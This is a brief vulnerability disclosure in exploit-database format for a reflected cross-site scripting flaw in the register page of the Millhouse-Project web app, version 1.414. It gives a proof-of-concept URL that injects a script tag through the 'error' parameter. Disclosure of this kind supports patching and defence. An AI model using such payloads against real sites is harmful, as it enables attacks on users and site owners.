<?php
/*
Exploit Title: thrsrossi Millhouse-Project 1.414 - register - Reflected xss
Date: 12/05/2023
Exploit Author: Chokri Hammedi
Vendor Homepage: https://github.com/thrsrossi/Millhouse-Project
Software Link: https://github.com/thrsrossi/Millhouse-Project.git
Version: 1.414
Tested on: Debian
CVE: N/A
*/
?>

POC:

http://target/views/register.php?error=%3Cscript%3Ealert(%27rose1337%27)%3C/script%3E